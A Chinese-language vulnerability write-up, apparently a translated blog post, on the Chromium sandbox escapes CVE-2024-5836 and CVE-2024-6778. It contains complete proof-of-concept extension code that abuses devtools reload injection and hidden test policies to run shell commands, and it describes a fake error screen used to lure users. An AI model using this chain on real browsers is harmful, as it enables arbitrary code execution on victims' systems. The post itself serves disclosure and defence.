介绍
这篇博文详细介绍了如何发现CVE-2024-6778和CVE-2024-5836的,这是Chromium web浏览器中的漏洞,允许从浏览器扩展(带有一点点用户交互)中进行沙盒逃逸。
简而言之,这些漏洞允许恶意的Chrome扩展在你的电脑上运行任何shell命令,然后可能被用来安装一些更糟糕的恶意软件。攻击者不仅可以窃取你的密码并破坏你的浏览器,还可以控制你的整个操作系统。
webis和Chrome沙盒
Chromium运行的所有不受信任的代码都是沙箱化的,这意味着它运行在一个孤立的环境中,不能访问任何它不应该访问的东西。在实践中,这意味着在Chrome扩展中运行的Javascript代码只能与自身和它所访问的Javascript api进行交互。扩展可以访问哪些api取决于用户授予它的权限。然而,使用这些权限最糟糕的情况是窃取某人的登录和浏览器历史记录。所有内容都应该包含在浏览器中。
另外,Chromium有几个网页用来显示它的GUI,使用一种叫做web的机制。它们以 chrome://
URL协议为前缀,包括您可能使用过的 chrome://settings
和 chrome://history
。它们的目的是为Chromium的特性提供面向用户的UI,同时使用HTML、CSS和Javascript等web技术编写。由于它们需要显示和修改特定于浏览器内部的信息,因此它们被认为具有特权,这意味着它们可以访问其他地方无法使用的私有api。这些私有api允许运行在web前端的Javascript代码与浏览器本身的本机C代码通信。
防止攻击者访问web非常重要,因为在web页面上运行的代码可以完全绕过Chromium沙箱。例如,在 chrome://downloads
上,单击 .exe
文件的下载将运行可执行文件,因此,如果该操作是通过恶意脚本执行的,则该脚本可以逃离沙箱。
在 chrome://
页面上运行不受信任的Javascript是一种常见的攻击向量,因此这些私有api的接收端执行一些验证,以确保它们没有做任何用户正常情况下无法做的事情。回到 chrome://downloads
的例子,Chromium通过要求从下载页面打开文件来防止这种情况,触发它的动作必须来自实际的用户输入,而不仅仅是Javascript。
当然,有时候使用这些检查会出现Chromium开发人员没有考虑到的边缘情况。
关于企业政策
当我研究Chromium企业策略系统时,我开始寻找这个漏洞。它旨在成为管理员强制将某些设置应用于公司或学校拥有的设备的一种方式。通常,这些策略都与谷歌账户绑定,并从谷歌自己的管理服务器下载。
企业策略还包括用户通常无法修改的内容。例如,你可以用策略做的一件事是禁用恐龙彩蛋游戏:
此外,策略本身分为两类:用户策略和设备策略。
设备策略用于管理整个Chrome OS设备的设置。它们可以像限制哪些帐户可以登录或设置发布通道一样简单。其中一些甚至可以改变设备固件的行为(用于防止开发者模式或降级操作系统)。但是,由于此漏洞不属于Chrome OS,因此设备策略现在可以忽略不计。
用户策略应用于特定的用户或浏览器实例。与设备策略不同,这些策略可以在所有平台上使用,并且可以在本地设置,而无需依赖谷歌的服务器。例如,在Linux上,在 /etc/opt/chrome/policies
中放置一个JSON文件将为设备上的所有Google Chrome实例设置用户策略。
使用这种方法设置用户策略有些不方便,因为写入策略目录需要root权限。但是,如果有一种方法可以在不创建文件的情况下修改这些策略呢?
策略界面
值得注意的是,Chromium有一个用于查看应用于当前设备的策略的web,位于 chrome://policy
。它显示了应用的策略列表、策略服务的日志,以及将这些策略导出到JSON文件的功能。
这很好,但通常无法从该页编辑策略。当然,除非有一个未记录的特性可以做到这一点。
滥用策略测试页面
当我在做关于这个主题的研究时,我在Chrome v117的Chrome企业发布说明中遇到了以下条目:
chrome://policy/test将允许客户在Beta, Dev, Canary渠道上测试策略。如果有足够的客户需求,我们将考虑将此功能引入稳定渠道。
事实证明,这是Chromium文档中唯一提到这个特性的地方。因此,在没有其他地方可看的情况下,我检查了Chromium源代码,以弄清楚它应该如何工作。
使用Chromium代码搜索,我搜索了 chrome://policy/test
,这使我找到了策略测试页面的web代码的JS部分。然后我注意到它用于设置测试策略的私有API调用:
export class PolicyTestBrowserProxy {
applyTestPolicies(policies: string, profileSeparationResponse: string) {
return sendWithPromise('setLocalTestPolicies', policies, profileSeparationResponse);
}
...
}
还记得我说过这些web页面可以访问私有api吗? sendWithPromise()
是其中之一。 sendWithPromise()
实际上只是 chrome.send()
的包装器,它向用C编写的处理程序函数发送请求。然后处理函数可以在浏览器内部做任何它需要做的事情,然后它可以返回一个值,该值通过 sendWithPromise()
传递回JS端。
所以,一时兴起,我决定看看在JS控制台中调用这个会做什么。
//import cr.js since we need sendWithPromise
let cr = await import('chrome://resources/js/cr.js');
await cr.sendWithPromise("setLocalTestPolicies", "", "");
不幸的是,运行它只会使浏览器崩溃。有趣的是,崩溃日志中出现了以下一行: [17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() && policies->is_list(). List of policies expected
看起来它需要一个JSON字符串,其中包含策略数组作为第一个参数,这是有意义的。那我们就提供一个吧。幸运的是 policy_test_browser_proxy.ts
告诉我它期望的格式,所以我不必做太多的猜测。
let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
{
name: "AllowDinosaurEasterEgg",
value: false,
level: 1,
source: 1,
scope: 1
}
]);
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
运行完这个之后…它只是工作?我只是通过在 chrome://policy
上运行一些Javascript来设置一个任意的用户策略。考虑到我从来没有显式地启用过这个特性,显然这里出了问题。
web界面验证失败
对于某些上下文中,策略测试页面在正确启用时应该是这样的。
要正确启用此页面,必须设置 PolicyTestPageEnabled
策略(也没有在任何地方记录)。如果一开始没有设置该策略,那么 chrome://policy/test
只是重定向回 chrome://policy
。
那么,为什么我能够设置测试策略而不管我禁用了 PolicyTestPageEnabled
策略呢?为了调查这一点,我再次查看了铬代码搜索,并在C端找到了 setLocalTestPolicies
函数的web处理程序。
void PolicyUIHandler::HandleSetLocalTestPolicies(
const base::Value::List& args) {
std::string policies = args[1].GetString();
policy::LocalTestPolicyProvider* local_test_provider =
static_cast<policy::LocalTestPolicyProvider*>(
g_browser_process->browser_policy_connector()
->local_test_policy_provider());
CHECK(local_test_provider);
Profile::FromWebUI(web_ui())
->GetProfilePolicyConnector()
->UseLocalTestPolicyProvider();
local_test_provider->LoadJsonPolicies(policies);
AllowJavascript();
ResolveJavascriptCallback(args[0], true);
}
该函数执行的唯一验证是检查 local_test_provider
是否存在,否则将导致整个浏览器崩溃。那么 local_test_provider
在什么条件下会存在呢?
为了回答这个问题,我找到了实际创建本地测试策略提供程序的代码。
std::unique_ptr<LocalTestPolicyProvider>
LocalTestPolicyProvider::CreateIfAllowed(version_info::Channel channel) {
if (utils::IsPolicyTestingEnabled(/*pref_service=*/nullptr, channel)) {
return base::WrapUnique(new LocalTestPolicyProvider());
}
return nullptr;
}
因此,这个函数实际上执行检查,以查看是否允许测试策略。如果不允许,则返回null,并且尝试像前面展示的那样设置测试策略将导致崩溃。
也许 IsPolicyTestingEnabled()
是行为不端?函数是这样的:
bool IsPolicyTestingEnabled(PrefService* pref_service,
version_info::Channel channel) {
if (pref_service &&
!pref_service->GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {
return false;
}
if (channel == version_info::Channel::CANARY ||
channel == version_info::Channel::DEFAULT) {
return true;
}
return false;
}
该函数首先检查 kPolicyTestPageEnabled
是否为true,这是在正常情况下应该启用策略测试页面的策略。然而,您可能注意到,当调用 IsPolicyTestingEnabled()
时,第一个参数 pref_service
被设置为空。这将导致检查被完全忽略。
现在,剩下的唯一检查是 channel
。在这种情况下,“通道”是指浏览器的发布通道,类似于稳定、beta、开发或金丝雀。所以在这种情况下,只允许 Channel::CANARY
和 Channel::DEFAULT
。这一定意味着我的浏览器被设置为 Channel::CANARY
或 Channel::DEFAULT
。
那么浏览器知道它在哪个频道吗?这里是它确定的函数:
// Returns the channel state for the browser based on branding and the
// CHROME_VERSION_EXTRA environment variable. In unbranded (Chromium) builds,
// this function unconditionally returns `channel` = UNKNOWN and
// `is_extended_stable` = false. In branded (Google Chrome) builds, this
// function returns `channel` = UNKNOWN and `is_extended_stable` = false for any
// unexpected $CHROME_VERSION_EXTRA value.
ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
const char* const env = getenv("CHROME_VERSION_EXTRA");
const std::string_view env_str =
env ? std::string_view(env) : std::string_view();
// Ordered by decreasing expected population size.
if (env_str == "stable")
return {version_info::Channel::STABLE, /*is_extended_stable=*/false};
if (env_str == "extended")
return {version_info::Channel::STABLE, /*is_extended_stable=*/true};
if (env_str == "beta")
return {version_info::Channel::BETA, /*is_extended_stable=*/false};
if (env_str == "unstable") // linux version of "dev"
return {version_info::Channel::DEV, /*is_extended_stable=*/false};
if (env_str == "canary") {
return {version_info::Channel::CANARY, /*is_extended_stable=*/false};
}
#endif // BUILDFLAG(GOOGLE_CHROME_BRANDING)
return {version_info::Channel::UNKNOWN, /*is_extended_stable=*/false};
}
如果你不知道C预处理器是如何工作的, #if BUILDFLAG(GOOGLE_CHROME_BRANDING)
部分意味着只有当 BUILDFLAG(GOOGLE_CHROME_BRANDING)
为真时才会编译所包含的代码。否则这部分代码就不存在了。考虑到我使用的是普通的Chromium而不是品牌的Google Chrome,通道将始终是 Channel::UNKNOWN
。这也意味着,不幸的是,这个bug不会在Google Chrome的稳定版本上工作,因为发布通道在那里被设置为适当的值。
enum class Channel {
UNKNOWN = 0,
DEFAULT = UNKNOWN,
CANARY = 1,
DEV = 2,
BETA = 3,
STABLE = 4,
};
查看通道的枚举定义,可以看到 Channel::UNKNOWN
实际上与 Channel::DEFAULT
相同。因此,在Chromium及其衍生物上, IsPolicyTestingEnabled()
中的发布通道检查总是通过,函数总是返回true。
通过浏览器切换器逃离沙盒
那么,我可以使用设置任意用户策略的功能做些什么呢?为了回答这个问题,我查看了Chrome的企业政策列表。
企业策略中存在的特性之一是遗留浏览器支持模块,也称为浏览器切换器。它的设计是为了适应ie用户,当用户访问Chromium中的某些url时,可以启动一个替代浏览器。该特性的行为都可以通过策略进行控制。
AlternativeBrowserPath
政策尤其引人注目。结合 AlternativeBrowserParameters
,这允许Chromium作为“备用浏览器”启动任何shell命令。但是,请记住这只适用于Linux、MacOS和Windows,否则浏览器切换器策略不存在。
例如,我们可以设置以下策略来让Chromium启动计算器:
name: "BrowserSwitcherEnabled"
value: true
name: "BrowserSwitcherUrlList"
value: ["example.com"]
name: "AlternativeBrowserPath"
value: "/bin/bash"
name: "AlternativeBrowserParameters"
value: ["-c", "xcalc # ${url}"]
当浏览器试图导航到 example.com
时,浏览器切换器将启动并启动 /bin/bash
。 ["-c", "xcalc # https://example.com"]
作为参数传入。 -c
告诉bash运行下一个参数中指定的命令。您可能已经注意到,页面URL被替换为 ${url}
,因此为了防止这混淆命令,我们可以简单地将它放在 #
后面,使其成为注释。因此,我们能够欺骗Chromium运行 /bin/bash -c 'xcalc # https://example.com'
。
在 chrome://policy
页面中使用它非常简单。我可以使用上述方法设置这些策略,然后调用 window.open("https://example.com")
来触发浏览器切换器。
let cr = await import('chrome://resources/js/cr.js');
let policy = JSON.stringify([
{ //enable the browser switcher feature
name: "BrowserSwitcherEnabled",
value: true,
level: 1,
source: 1,
scope: 1
},
{ //set the browser switcher to trigger on example.com
name: "BrowserSwitcherUrlList",
value: ["example.com"],
level: 1,
source: 1,
scope: 1
},
{ //set the executable path to launch
name: "AlternativeBrowserPath",
value: "/bin/bash",
level: 1,
source: 1,
scope: 1
},
{ //set the arguments for the executable
name: "AlternativeBrowserParameters",
value: ["-c", "xcalc # https://example.com"],
level: 1,
source: 1,
scope: 1
}
]);
//set the policies listed above
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
//navigate to example.com, which will trigger the browser switcher
window.open("https://example.com")
这就是沙盒逃生。我们已经成功地通过运行在 chrome://policy
上的Javascript运行了一个任意shell命令。
破坏Devtools API
您可能已经注意到,到目前为止,这种攻击要求受害者在 chrome://policy
上将恶意代码粘贴到浏览器控制台。实际上,说服别人这样做是相当困难的,这会让bug变得毫无用处。现在,我的新目标是在 chrome://policy
中自动运行这个JS。
最可能的方法是创建一个恶意的Chrome扩展。Chrome扩展api具有相当大的攻击面,并且扩展本身就具有将JS注入页面的能力。但是,正如我前面提到的,扩展不允许在特权web页面上运行JS,所以我需要找到一种方法来解决这个问题。
扩展在页面上执行JS有4种主要方式:
chrome.scripting
,它直接在特定的选项卡中执行JS。chrome.tabs
在Manifest v2中,其工作原理类似于chrome.scripting
。chrome.debugger
使用远程调试协议。chrome.devtools.inspectedWindow
,当devtools打开时与被检查的页面交互。
在调查这个问题时,我决定研究 chrome.devtools.inspectedWindow
,因为我觉得它是最模糊的,因此最不坚固。这个假设被证明是正确的。
chrome.devtools
api的工作方式是,所有使用该api的扩展必须在其清单中包含 devtools_page
字段。例如:
{
"name": "example extension",
"version": "1.0",
"devtools_page": "devtools.html",
...
}
从本质上讲,它所做的就是指定每当用户打开devtools时,devtools页面将 devtools.html
作为iframe加载。在该iframe内,扩展可以使用所有 chrome.devtools
api。您可以参考API文档了解细节。
在研究 chrome.devtools.inspectedWindow
api时,我注意到David Erceg之前的一个bug报告,其中涉及到 chrome.devtools.inspectedWindow.eval()
的一个bug。他设法在web上执行代码,方法是在正常页面上打开devtools,然后运行 chrome.devtools.inspectedWindow.eval()
,并使用一个脚本使页面崩溃。然后,可以将这个崩溃的选项卡导航到web页面,在那里将重新运行eval请求,从而在那里获得代码执行。
值得注意的是, chrome.devtools
api应该通过在被检查的页面导航到web后禁用它们的使用来防止这种特权执行。正如David Erceg在他的bug报告中所演示的那样,绕过这个问题的关键是在Chrome决定禁用devtools API之前发送eval请求,并确保请求到达web页面。
在阅读了该报告之后,我想知道 chrome.devtools.inspectedWindow.reload()
是否可能有类似的情况。这个函数也能够在被检查的页面上运行JS,只要将 injectedScript
传递给它。
当被检查的页面是属于web的 about:blank
页面时,当我尝试调用 inspectedWindow.reload()
时,出现了可利用的第一个迹象。 about:blank
页面在这方面是唯一的,因为即使URL不是特殊的,它们也继承了打开它们的页面的权限和来源。因为从web打开的 about:blank
页面是特权的,您会期望尝试评估该页上的JS将被阻止。
令人惊讶的是,这确实有效。注意,警报的标题中包含了该页的起源,即 chrome://settings
,因此该页实际上具有特权。但是等等,devtools API不是应该通过完全禁用API来防止这种事情吗?它不考虑 about:blank
页面的边缘情况。下面是处理禁用API的代码:
private inspectedURLChanged(event: Common.EventTarget.EventTargetEvent<SDK.Target.Target>): void {
if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {
this.disableExtensions();
return;
}
...
}
重要的是,这里只考虑URL,而不考虑页面的来源。正如我前面所演示的,这可以是两个不同的东西。即使URL是良性的,源也可能不是。
滥用 about:blank
很好,但在创建漏洞利用链的上下文中并不是很有用。我想让代码执行的页面, chrome://policy
,从不打开任何 about:blank
弹出窗口,所以这已经是一个死胡同。然而,我注意到即使 inspectedWindow.eval()
失败, inspectedWindow.reload()
仍然成功运行并在 chrome://settings
上执行JS。这表明 inspectedWindow.eval()
有自己的检查,看看是否被检查页面的起源是允许的,而 inspectedWindow.reload()
没有自己的检查。
然后,我想知道我是否可以直接发送 inspectedWindow.reload()
调用,这样,如果这些请求中至少有一个落在web页面上,我就可以执行代码。
function inject_script() {
chrome.devtools.inspectedWindow.reload({"injectedScript": `
//check the origin, this script won't do anything on a non chrome page
if (!origin.startsWith("chrome://")) return;
alert("hello from chrome.devtools.inspectedWindow.reload");
`
});
}
setInterval(() => {
for (let i=0; i<5; i++) {
inject_script();
}
}, 0);
chrome.tabs.update(chrome.devtools.inspectedWindow.tabId, {url: "chrome://policy"});
这是攻击链的最后一个环节。这个竞争条件依赖于被检查的页面和devtools页面是不同的进程。当在巡检页面中跳转到web界面时,在devtools页面实现并关闭API之前会有一小段时间窗口。如果在此时间间隔内调用 inspectedWindow.reload()
,则重新加载请求将在web页面上结束。
编写POC
既然我已经完成了开发的所有步骤,我就开始将POC代码放在一起。概括地说,这个POC必须完成以下工作:
- 使用
chrome.devtools.inspectedWindow.reload()
中的竞争条件在chrome://policy
上执行JS负载 - 该负载调用
sendWithPromise("setLocalTestPolicies", policy)
来设置自定义用户策略。 - 设置
BrowserSwitcherEnabled
、BrowserSwitcherUrlList
、AlternativeBrowserPath
和AlternativeBrowserParameters
,指定/bin/bash
作为“备用浏览器”。 - 浏览器切换器由一个简单的
window.open()
调用触发,该调用执行一个shell命令。
最终的POC是这样的:
let executable, flags;
if (navigator.userAgent.includes("Windows NT")) {
executable = "C:\\Windows\\System32\\cmd.exe";
flags = ["/C", "calc.exe & rem ${url}"];
}
else if (navigator.userAgent.includes("Linux")) {
executable = "/bin/bash";
flags = ["-c", "xcalc # ${url}"];
}
else if (navigator.userAgent.includes("Mac OS")) {
executable = "/bin/bash";
flags = ["-c", "open -na Calculator # ${url}"];
}
//function which injects the content script into the inspected page
function inject_script() {
chrome.devtools.inspectedWindow.reload({"injectedScript": `
(async () => {
//check the origin, this script won't do anything on a non chrome page
console.log(origin);
if (!origin.startsWith("chrome://")) return;
//import cr.js since we need sendWithPromise
let cr = await import('chrome://resources/js/cr.js');
//here are the policies we are going to set
let policy = JSON.stringify([
{ //enable the browser switcher feature
name: "BrowserSwitcherEnabled",
value: true,
level: 1,
source: 1,
scope: 1
},
{ //set the browser switcher to trigger on example.com
name: "BrowserSwitcherUrlList",
value: ["example.com"],
level: 1,
source: 1,
scope: 1
},
{ //set the executable path to launch
name: "AlternativeBrowserPath",
value: ${JSON.stringify(executable)},
level: 1,
source: 1,
scope: 1
},
{ //set the arguments for the executable
name: "AlternativeBrowserParameters",
value: ${JSON.stringify(flags)},
level: 1,
source: 1,
scope: 1
}
]);
//set the policies listed above
await cr.sendWithPromise("setLocalTestPolicies", policy, "");
setTimeout(() => {
//navigate to example.com, which will trigger the browser switcher
location.href = "https://example.com";
//open a new page so that there is still a tab remaining after this
open("about:blank");
}, 100);
})()`
});
}
//interval to keep trying to inject the content script
//there's a tiny window of time in which the content script will be
//injected into a protected page, so this needs to run frequently
function start_interval() {
setInterval(() => {
//loop to increase our odds
for (let i=0; i<3; i++) {
inject_script();
}
}, 0);
}
async function main() {
//start the interval to inject the content script
start_interval();
//navigate the inspected page to chrome://policy
let tab = await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId);
await chrome.tabs.update(tab.id, {url: "chrome://policy"});
//if this times out we need to retry or abort
await new Promise((resolve) => {setTimeout(resolve, 1000)});
let new_tab = await chrome.tabs.get(tab.id);
//if we're on the policy page, the content script didn't get injected
if (new_tab.url.startsWith("chrome://policy")) {
//navigate back to the original page
await chrome.tabs.update(tab.id, {url: tab.url});
//discarding and reloading the tab will close devtools
setTimeout(() => {
chrome.tabs.discard(tab.id);
}, 100)
}
//we're still on the original page, so reload the extension frame to retry
else {
location.reload();
}
}
main();
有了这些,我就准备写bug报告了。我最终完成了脚本,编写了一份漏洞解释,在多个操作系统上进行了测试,并将其发送给谷歌。
然而,此时仍然存在一个明显的问题: .inspectedWindow.reload()
的竞争条件不是很可靠。我设法调整它,使它在70%的时间内工作,但这仍然不够。尽管它能够正常工作的事实确实使其成为一个严重的漏洞,但不可靠性将大大降低其严重性。所以我开始努力寻找更好的方法。
POC优化
还记得我在David Erceg的bug报告中提到的,他利用了选项卡崩溃后调试器请求仍然存在的事实吗?我想知道这个方法是否也适用于 inspectedWindow.reload()
,所以我测试了它。我还对 debugger
语句进行了修改,似乎在一行中触发调试器两次会导致选项卡崩溃。
所以我开始写一个新的POC:
let tab_id = chrome.devtools.inspectedWindow.tabId;
//function which injects the content script into the inspected page
function inject_script() {
chrome.devtools.inspectedWindow.reload({"injectedScript": `
//check the origin, so that the debugger is triggered instead if we are not on a chrome page
if (!origin.startsWith("chrome://")) {
debugger;
return;
}
alert("hello from chrome.devtools.inspectedWindow.reload");`
});
}
function sleep(ms) {
return new Promise((resolve) => {setTimeout(resolve, ms)})
}
async function main() {
//we have to reset the tab's origin here so that we don't crash our own extension process
//this navigates to example.org which changes the tab's origin
await chrome.tabs.update(tab_id, {url: "https://example.org/"});
await sleep(500);
//navigate to about:blank from within the example.org page which keeps the same origin
chrome.devtools.inspectedWindow.reload({"injectedScript": `
location.href = "about:blank";
`
})
await sleep(500);
inject_script(); //pause the current tab
inject_script(); //calling this again crashes the tab and queues up our javascript
await sleep(500);
chrome.tabs.update(tab_id, {url: "chrome://settings"});
}
main();
而且很有效!这种方法的优点在于,它消除了对竞争条件的需求,并使攻击100%可靠。然后,我将新的POC和所有 chrome://policy
内容上传到bug报告线程的评论中。
但为什么这个疏忽仍然存在,即使它应该在4年前被修补?我们可以通过查看之前的漏洞是如何被修补的来找出原因。谷歌的解决方案是在标签崩溃后清除所有未决的调试器请求,这似乎是一个明智的方法:
void DevToolsSession::ClearPendingMessages(bool did_crash) {
for (auto it = pending_messages_.begin(); it != pending_messages_.end();) {
const PendingMessage& message = *it;
if (SpanEquals(crdtp::SpanFrom("Page.reload"),
crdtp::SpanFrom(message.method))) {
++it;
continue;
}
// Send error to the client and remove the message from pending.
std::string error_message =
did_crash ? kTargetCrashedMessage : kTargetClosedMessage;
SendProtocolResponse(
message.call_id,
crdtp::CreateErrorResponse(
message.call_id,
crdtp::DispatchResponse::ServerError(error_message)));
waiting_for_response_.erase(message.call_id);
it = pending_messages_.erase(it);
}
}
您可能会注意到,它似乎包含了 Page.reload
请求的异常,因此它们不会被清除。在内部, inspectedWindow.reload()
API发送一个 Page.reload
请求,因此 inspectedWindow.reload()
API调用不受此补丁的影响。谷歌确实修补了这个漏洞,然后添加了一个例外,这使得这个漏洞再次出现。我猜他们没有意识到 Page.reload
也可以运行脚本。
另一个谜是为什么当 debugger
语句运行两次时页面崩溃。我仍然不完全确定这一个,但我认为我把它缩小到铬的渲染器代码中的一个功能。它特别发生在Chromium检查导航状态时,当它遇到意外状态时,它就崩溃了。当RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318被调用时,这个状态会变得混乱(这是处理 about:blank
的另一个副作用)。当然,任何类型的崩溃都会发生,比如 [...new Array(2**31)]
,这会导致选项卡耗尽内存。然而, debugger
崩溃是更快触发,所以这就是我在我的最终POC中使用的。
无论如何,下面是这个漏洞的实际情况:
顺便说一下,您可能已经注意到显示的“扩展安装错误”屏幕。这只是为了欺骗用户打开devtools,从而触发导致沙盒逃逸的链条。
谷歌的反馈
在报告了这个漏洞后,谷歌迅速确认了这个漏洞,并将其分类为P1/S1,这意味着高优先级和高严重性。在接下来的几周内,实施了以下修复:
- 为
Page.reload
命令添加loaderId
参数,并检查呈现端loaderID
-这确保命令仅对单个源有效,并且如果命令无意中到达特权页面将不起作用。 - 检查
inspectedWindow.reload()
函数中的URL—现在,该函数不仅依赖于撤销访问的扩展API。 - 检查测试策略是否在web处理程序中启用—通过在处理程序功能中添加工作检查,可以防止完全设置测试策略。
最终,涉及竞态条件的漏洞被分配为CVE-2024-5836, CVSS严重性评分为8.8(高)。涉及被检查页面崩溃的漏洞被分配为CVE-2024-6778,严重性评分也为8.8。
结论
我想所有这些的主要收获是,如果你在正确的地方,最简单的错误可以相互叠加,导致一个惊人的高严重性的漏洞。考虑到 inspectedWindow.reload
漏洞实际上早在Chrome v45就存在,你也不能相信非常老的代码在多年后仍然安全。此外,像策略测试页面错误一样,向每个人发布完全没有文档记录、不完整和不安全的特性并不是一个好主意。最后,在修复漏洞时,您应该检查是否可能存在类似的错误,并尝试修复它们。